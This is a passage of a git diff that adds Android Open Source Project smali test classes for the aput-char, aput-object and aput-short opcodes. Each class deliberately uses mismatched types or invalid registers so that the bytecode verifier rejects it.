+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali
new file mode 100644
index 0000000..05dc081
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_5.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali
new file mode 100644
index 0000000..ccaa66c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_6.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali
new file mode 100644
index 0000000..ac1f4b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_7.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 10
+
+       aput-char v9, v7, v6
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali
new file mode 100644
index 0000000..113eb9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_8.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CFC)V
+.registers 11
+
+       aput-char v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali
new file mode 100644
index 0000000..dd84f8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_9.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 11
+
+       aput-char v11, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali
new file mode 100644
index 0000000..772d664
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_1.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali
new file mode 100644
index 0000000..48f874b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_10.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v6
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali
new file mode 100644
index 0000000..4756062
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_11.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
+       aput-object v11, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali
new file mode 100644
index 0000000..0fdd1d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_12.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;FLjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali
new file mode 100644
index 0000000..1b07440
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_13.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
+       const v10, 1
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali
new file mode 100644
index 0000000..05aa337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_2.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Integer;ILjava/lang/Integer;)V
+.registers 11
+
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali
new file mode 100644
index 0000000..10fd71b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_4.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/Object;)V
+.registers 11
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali
new file mode 100644
index 0000000..e44ac6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_5.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;DLjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali
new file mode 100644
index 0000000..3bb0b53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_6.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;IJ)V
+.registers 11
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali
new file mode 100644
index 0000000..68f7198
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_7.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;ILjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali
new file mode 100644
index 0000000..7d4c17a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_8.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([FILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali
new file mode 100644
index 0000000..2471664
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_9.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_9.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali
new file mode 100644
index 0000000..5461f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_1.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 11
+
+       aput-short v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali
new file mode 100644
index 0000000..e351e7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_2.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SDS)V
+.registers 11
+
+
+       aput-short v10, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali
new file mode 100644
index 0000000..5d07372
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_3.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIJ)V
+.registers 11
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali
new file mode 100644
index 0000000..2becd7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_4.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali
new file mode 100644
index 0000000..6ed3b0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_5.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali
new file mode 100644
index 0000000..351c804
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_6.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali
new file mode 100644
index 0000000..960e94a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_7.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 10
+
+       aput-short v9, v7, v6
+       return-void
+.end method
+
+

